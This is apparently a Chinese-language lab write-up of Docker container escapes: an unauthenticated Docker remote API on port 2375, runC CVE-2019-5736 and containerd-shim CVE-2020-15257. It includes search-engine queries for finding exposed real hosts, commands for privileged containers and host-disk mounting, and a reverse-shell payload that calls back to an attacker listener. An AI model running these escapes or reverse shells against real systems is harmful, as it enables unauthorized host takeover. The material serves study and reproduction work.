k8s学习及漏洞复现-下
1.1docker remote api (2375)
k8s与docker总是并行出现的,那么如果docker出现问题,也将是严重的。这里笔者学习复现一下docker的漏洞,docker远程访问漏洞。fofa指纹app="docker-Daemon" shodan **port:”2375″ country:”JP” Docker**
测试是否存在漏洞,这里可以看到,fofa出来的并不是都是2375端口,也可能是附近的,都一样,正常是404,然后加个version,或者2376/containers/json
出现信息,也可证明存在漏洞
也可以使用命令进行获取到相关容器。
1.2搭建本地漏洞
接下来的操作没有授权,就搭建了一个环境,使用vulhub搭建,很方便。https://github.com/vulhub/vulhub
,安装完docker即可
1 | cd /vulhub/docker/unauthorized-rce |
这里我们pull一个镜像,这里报了一个错,Using default tag: latest
Error response from daemon: missing signature key,大概意思是本机docker版本低或者高,镜像版本低或者高,然后镜像和docker不匹配不兼容,那么很好解决,简单解决方法去hub.docker.com,搜一下镜像,然后拉去低版本的,复杂的,更新docker。
1.3利用过程
加上版本号在pull即可,这里不一定必须要拉这个,其他的也一样用
1 | docker -H tcp://192.168.241.142:2375 run -it --privileged busybox:1.27.0 /bin/sh |
1.4特权模式逃逸
然后在进行逃逸即可。最简单的,挂载主机硬盘。
1 | / # mkdir bohemian |
1.6总结:
个人感觉在实战中,这个未授权出现的不多了,fofa后,访问了几个20个感觉有五个左右。
2.docker:runC容器逃逸-CVE-2019-5736复现
2.1漏洞原理
漏洞点在于runC,RunC是一个容器运行时,最初是作为Docker的一部分开发的,后来作为一个单独的开源工具和库被提取出来。作为“低级别”容器运行时,runC主要由“高级别”容器运行时(例如Docker)用于生成和运行容器,尽管它可以用作独立工具。像Docker这样的“高级别”容器运行时通常会实现镜像创建和管理等功能,并且可以使用runC来处理与运行容器相关的任务:创建容器、将进程附加到现有容器等。在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。
2.2环境部署
1 | ./metarget cnv install cve-2019-5736 |
2.3漏洞影响版本
runC < 1.0-rc6 (docker < 18.09.2)
2.4利用条件
需要在容器内具有 root 权限,才能覆盖runC文件,可能需要配合钓鱼等等手法,让对面的管理员执行命令进入容器,也就是docker run -it ubuntu /bin/bash
,
2.5利用过程
然后的利用流程是,拉去一个Ubuntu的镜像,默认metarget帮我们拉好了,
然后·docker run -it ubuntu /bin/bash
起一个镜像,
另起一个终端,docker ps
,看一下containerid
这里起容器的时候注意,要加-it,如果想后台运行的话,也要加-d,不然exit后会退出来。
1 | -d: 后台运行容器,并返回容器ID; |
去这里下载一下poc,用go编译,注意这里这个poc不需要将payload放在文件中,利用的时候直接终端中获取。
https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go
模拟获取到容器的权限,然后上传poc。
docker cp cve-2019-5736 7a6c5438f435:/
加一个权限,然后执行要执行的命令就可
./cve-2019-5736 -shell "/bin/bash -i >& /dev/tcp/ip/2233 0>&1"
同时vps监听,这里一定要注意,笔者在第一次测试的时候输错了命令,然后,再去想执行其他命令的时候,会报错,也就是,可能docker-runc这个组件被打崩了。
执行tail -c 100 /usr/bin/docker-runc | xxd
可以看到,runc被更改了。
runc崩了,就进不去容器了
2.6总结
漏洞的实现难点在于,需要在宿主主机上执行一下进入可控容器的步骤,这一步实现起来相对比较难。
还有就是,实战中如果真的条件允许的话,runc会被更改,可能会影响业务,这是很难受的。
3.CVE-2020-15257-host模式容器逃逸漏洞
3.1前置知识:docker网络,Docker配置不当导致的容器逃逸
这里我们再次提到NameSpace和cgroups
1 | Linux 命名空间(NameSpace):实现文件系统、网络、进程、主机名等方面的隔离 |
如果设定了以下配置就会导致相应的隔离机制失效:
其实原理很简单,就是通过权限的变更打破了原来的文件系统、网络、进程、主机名等方面的隔离
1 | --privileged:使容器内的 root 权限和宿主机上的 root 权限一致,权限隔离被打破 |
当你安装完Docker时,它会自动创建三个网络。你可以使用以下docker network ls
命令列出这些网络:
1 | docker network ls |
结果应如下
1 | NETWORK ID NAME DRIVER SCOPE |
Docker内置这三个网络,运行容器时,你可以使用该来指定容器应连接到哪些网络。
我们在使用docker run创建Docker容器时,可以用--network
标志 选项指定容器的网络模式,Docker有以下4种网络模式:
host模式:使用 –net=host 指定。
none模式:使用 –net=none 指定。
bridge模式:使用 –net=bridge 指定,默认设置。
container模式:使用 –net=container:NAME_or_ID 指定。
Docker使用了Linux的Namespaces技术来进行资源隔离,如PID Namespace隔离进程,Mount Namespace隔离文件系统,Network Namespace隔离网络等。一个Network Namespace提供了一份独立的网络环境,包括网卡、路由、Iptable规则等都与其他的Network Namespace隔离。
host模式类似于Vmware的桥接模式,与宿主机在同一个网络中,但没有独立IP地址。一个Docker容器一般会分配一个独立的Network Namespace。但如果启动容器的时候使用host模式,那么这个容器将不会获得一个独立的Network Namespace,而是和宿主机共用一个Network Namespace。容器将不会虚拟出自己的网卡,配置自己的IP等,而是使用宿主机的IP和端口。
容器与主机在相同的网络命名空间下面,使用相同的网络协议栈,容器可以直接使用主机的所有网络接口。
3.2containerd-shim
在进一步了解漏洞原理之前, 我们需要了解一下啊 containerd-shim 是什么?
在 1.11 版本中,Docker 进行了重大的重构,由单一的 Docker Daemon,拆分成了 4 个独立的模块:Docker Daemon、containerd、containerd-shim、runC
其中,containerd 是由 Docker Daemon 中的容器运行时及其管理功能剥离了出来。docker 对容器的管理和操作基本都是通过 containerd 完成的。containerd就是docker前面的那个号。
它向上为 Docker Daemon 提供了 gRPC 接口,向下通过 containerd-shim 结合 runC,实现对容器的管理控制。containerd 还提供了可用于与其交互的 API 和客户端应用程序 ctr。所以实际上,即使不运行 Docker Daemon,也能够直接通过 containerd 来运行、管理容器。
而中间的 containerd-shim 夹杂在 containerd 和 runc 之间,每次启动一个容器,都会创建一个新的 containerd-shim 进程,它通过指定的三个参数:容器 id、bundle 目录、运行时二进制文件路径,来调用运行时的 API 创建、运行容器,持续存在到容器实例进程退出为止,将容器的退出状态反馈给 containerd。
3.3漏洞原理
由于在 host 模式下,容器与 host 共享一套 Network namespaces ,此时 containerd-shim API 暴露给了用户,而且访问控制仅仅验证了连接进程的有效UID为0,但没有限制对抽象Unix域套接字的访问。所以当一个容器为 root 权限,且容器的网络模式为 --net=host
的时候,通过 ontainerd-shim API 可以达成容器逃逸的目的
3.4漏洞影响版本
该漏洞影响 containerd 1.3.x, 1.2.x, 1.4.x 版本
3.5环境搭建
./metarget cnv install cve-2020-15257
metarget实现的命令是
sudo docker run -it –net=host –name=15257 ubuntu /bin/bash
我们用
docker run -d -it –net=host vulhub/thinkphp:5.0.23,起一个带漏洞的也可以
./metarget cnv install cve-2020-15257
这样就可以模拟漏洞利用然后拿root,然后逃逸了
3.6漏洞利用
webshell中也是可判断是否存在抽象命名空间unix域套接字。cat /proc/net/unix|grep -a "containerd-shim"
出现下图中的信息,表示存在抽象命名空间unix域套接字。
从宿主主机进入到容器中
去到这里下载一下大师傅的工具,https://github.com/cdk-team/CDK/tree/0.1.6,我这里下载的是最老版本0.1.6的,用最新版的报错。
然后先试下如果是webshell的话可不可以,这里经过测试好像是不可以的,会报rpc error: ttrpc: closed
可能是权限问题,不太清楚。
回到宿主主机,将cdk_linux_amd64同样传到容器中,docker cp cdk_linux_amd64 ubuntu:18.04:/
然后加上权限执行,./cdk_linux_amd64 run shim-pwn ip 23333
nc -lvvnp 23333 监听即可。
总结
这个漏洞要符合三个条件,一个就是containerd版本,再就是权限的问题,可能不必须要root,笔者测试的话 。webshell的权限确实没成功。最后一个,就是docker容器环境起来的时候要host模式。
致谢
最后感谢您读到现在,这篇文章匆忙构成肯定有错误到或描述不正确的地方,期待业界师傅们指正勘误。本来是研究k8s漏洞的,奈何笔者能力有限,只研究了k8s的未授权简单的漏洞。后续如果有机会的话,在研究其他漏洞吧。
参考
https://bestwing.me/CVE-2020-15257-anaylysis.html CVE-2020-15257 Docker 逃逸漏洞分析
``
https://blog.csdn.net/w17791476027/article/details/132637785
https://github.com/cdk-team/CDK/tree/0.1.6 工具
https://xz.aliyun.com/t/8925?time__1311=n4%2BxuDgDBD90i%3DD7YD8DlP6e0%3D25Zg2iE%2B%2BbD&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-5
https://www.mylovekiki.top/?p=1033
https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/Docker/Docker%20%E5%AE%B9%E5%99%A8%E9%80%83%E9%80%B8%E6%BC%8F%E6%B4%9E%20%28CVE-2020-15257%29%E5%A4%8D%E7%8E%B0/
https://www.cnblogs.com/tomyyyyy/p/16275873.html#tid-mkZRym
https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/Docker/Docker%20%E5%AE%B9%E5%99%A8%E9%80%83%E9%80%B8%E6%BC%8F%E6%B4%9E%20%28CVE-2020-15257%29%E5%A4%8D%E7%8E%B0/
https://blog.csdn.net/qq_36197704/article/details/122172877
https://m01ly.github.io/2022/01/04/pt-docker-escape/